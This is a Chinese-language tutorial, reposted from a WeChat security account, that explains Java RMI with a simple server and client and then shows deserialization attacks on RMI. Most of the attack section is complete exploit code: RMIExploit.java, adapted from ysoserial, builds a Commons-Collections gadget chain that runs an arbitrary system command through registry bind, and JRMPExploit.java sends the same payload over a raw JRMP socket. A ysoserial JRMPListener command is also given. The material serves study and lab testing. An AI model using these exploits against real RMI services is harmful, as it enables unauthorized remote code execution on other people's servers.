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RMI概念
RMI工作原理
RMI调用流程
RMI的注册
RMI的实现
服务器端注册服务
RMIServerTest.java
package rmi.server;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServerTest {
// RMI服务器IP地址
public static final String RMI_HOST = "127.0.0.1";
// RMI服务端口
public static final int RMI_PORT = 9527;
// RMI服务名称
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
public static void main(String[] args) {
try {
// 注册RMI端口
LocateRegistry.createRegistry(RMI_PORT);
// 绑定Remote对象
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
通过LocateReigistry.createregistry注册RMI端口,Naming.bind注册对象,RMI_NAME为该对象的唯一命名,new RMITestImpl()为类实例,客户端需要有该类的接口
服务器端的接口及实现代码
RMITestInterface.java
package rmi.server;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* RMI测试接口
*/
public interface RMITestInterface extends Remote {
/**
* RMI测试方法
*
* @return 返回测试字符串
*/
String test() throws RemoteException;
}
该java定义了RMITest的接口
RMITestImpl.java实现了RMITestInterface接口
package rmi.server;
import rmi.server.RMITestInterface;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
private static final long serialVersionUID = 1L;
protected RMITestImpl() throws RemoteException {
super();
}
/**
* RMI测试方法
*
* @return 返回测试字符串
*/
@Override
public String test() throws RemoteException {
return "Hello RMI~";
}
}
客户端只需要实现接口
RMITestInterface.java
package rmi.client;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* RMI测试接口
*/
public interface RMITestInterface extends Remote {
/**
* RMI测试方法
*
* @return 返回测试字符串
*/
String test() throws RemoteException;
}
实现RMI
运行服务器端RMI Server,即RMIServerTest.java
客户端发出RMI请求,对应RMIClientTest.java文件,成功调用方法
RMI攻击
RMI通信使用序列化数据,意味着客户端和服务器端都存在反序列化的风险!!!
Registry攻击
主要思路:
1. 发现目标开启RMI Registry服务,准备攻击
2. 生成Common-Collections生成的反序列化攻击链payload,通过remote对象存储payload
3. 通过registry.bind(name,remote)请求远程RMI时,远程RMI解析请求并且反序列化,从而触发反序列化
常用函数有lookup,rebind,bind
环境
- java1.7
- 导入Common-Collections-3.1.jar
1、开启远程RMI
package rmi.server;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServerTest {
// RMI服务器IP地址
public static final String RMI_HOST = "192.168.43.238";
// RMI服务端口
public static final int RMI_PORT = 9527;
// RMI服务名称
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
public static void main(String[] args) {
try {
// 注册RMI端口
LocateRegistry.createRegistry(RMI_PORT);
// 绑定Remote对象
Naming.bind(RMI_NAME, new RMITestImpl());
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
进行RMI攻击
RMIExploit.java
package rmi.attack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.HashMap;
import java.util.Map;
import static rmi.server.RMIServerTest.RMI_HOST;
import static rmi.server.RMIServerTest.RMI_PORT;
/**
* RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
*
* @author yz
*/
public class RMIExploit {
// 定义AnnotationInvocationHandler类常量
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
/**
* 信任SSL证书
*/
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() {
return ANY_CA;
}
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
}
/**
* 创建支持SSL的RMI客户端
*/
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
// 获取SSLContext对象
SSLContext ctx = SSLContext.getInstance("TLS");
// 默认信任服务器端SSL
ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
// 获取SSL Socket连接工厂
SSLSocketFactory factory = ctx.getSocketFactory();
// 创建SSL连接
return factory.createSocket(host, port);
} catch (Exception e) {
throw new IOException(e);
}
}
}
/**
* 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
*
* @param command 定义需要执行的CMD
* @return Payload
* @throws Exception 生成Payload异常
*/
private static InvocationHandler genPayload(String command) throws Exception {
// 创建Runtime.getRuntime.exec(cmd)调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
// 创建ChainedTransformer调用链对象
Transformer transformerChain = new ChainedTransformer(transformers);
// 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// 使用动态代理创建出Map类型的Payload
final Map mapProxy2 = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
);
// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
}
/**
* 执行Payload
*
* @param registry RMI Registry
* @param command 需要执行的命令
* @throws Exception Payload执行异常
*/
public static void exploit(final Registry registry, final String command) throws Exception {
// 生成Payload动态代理对象
Object payload = genPayload(command);
String name = "test" + System.nanoTime();
// 创建一个含有Payload的恶意map
Map<String, Object> map = new HashMap();
map.put(name, payload);
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 实例化AnnotationInvocationHandler,
// 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
// 使用动态代理创建出Remote类型的Payload
Remote remote = (Remote) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
);
try {
// 发送Payload
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
if (args.length == 0) {
// 如果不指定连接参数默认连接本地RMI服务
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"};
}
// 远程RMI服务IP
final String host = args[0];
// 远程RMI服务端口
final int port = Integer.parseInt(args[1]);
// 需要执行的系统命令
final String command = args[2];
// 获取远程Registry对象的引用
Registry registry = LocateRegistry.getRegistry(host, port);
try {
// 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
String[] regs = registry.list();
for (String reg : regs) {
System.out.println("RMI:" + reg);
}
} catch (ConnectIOException ex) {
// 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// 执行payload
exploit(registry, command);
}
}
成功弹窗
socket攻击
package rmi.attack;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import rmi.attack.RMIExploit;
import static rmi.server.RMIServerTest.RMI_HOST;
import static rmi.server.RMIServerTest.RMI_PORT;
/**
* 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,
* 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
*/
public class JRMPExploit {
public static void main(String[] args) throws IOException {
if (args.length == 0) {
// 如果不指定连接参数默认连接本地RMI服务
args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "calc"};
}
// 远程RMI服务IP
final String host = args[0];
// 远程RMI服务端口
final int port = Integer.parseInt(args[1]);
// 需要执行的系统命令
final String command = args[2];
// Socket连接对象
Socket socket = null;
// Socket输出流
OutputStream out = null;
try {
// 创建恶意的Payload对象
Object payloadObject = RMIExploit.genPayload(command);
// 建立和远程RMI服务的Socket连接
socket = new Socket(host, port);
// socket = new Socket("127.0.0.1", port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
// 获取Socket的输出流对象
out = socket.getOutputStream();
// 将Socket的输出流转换成DataOutputStream对象
DataOutputStream dos = new DataOutputStream(out);
// 创建MarshalOutputStream对象
ObjectOutputStream baos = new MarshalOutputStream(dos);
// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
dos.writeInt(TransportConstants.Magic);// 魔数
dos.writeShort(TransportConstants.Version);// 版本
dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
dos.write(TransportConstants.Call);// RMI调用指令
baos.writeLong(2); // DGC
baos.writeInt(0);
baos.writeLong(0);
baos.writeShort(0);
baos.writeInt(1); // dirty
baos.writeLong(-669196253586618813L);// 接口Hash值
// 写入恶意的序列化对象
baos.writeObject(payloadObject);
dos.flush();
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭Socket输出流
if (out != null) {
out.close();
}
// 关闭Socket连接
if (socket != null) {
socket.close();
}
}
}
}
集成工具
使用ysoserial工具启动JRMP服务器,将恶意序列化数据返回客户端或者服务端,造成反序列化攻击
使用 ysoserial 开启一个 JRMP 监听服务(这里指的是 exploit/JRMPListener):
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 ‘calc’
只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:
list / unbind / lookup / rebind / bind
RMI 通信过程中使用的是 JRMP 协议,ysoserial 中的 exploit/JRMPListener 会在指定端口开启一个 JRMP Server,然后会向任何连接其的客户端发送反序列化 payload。
原文始发于微信公众号(极星信安):JAVA基础之RMI
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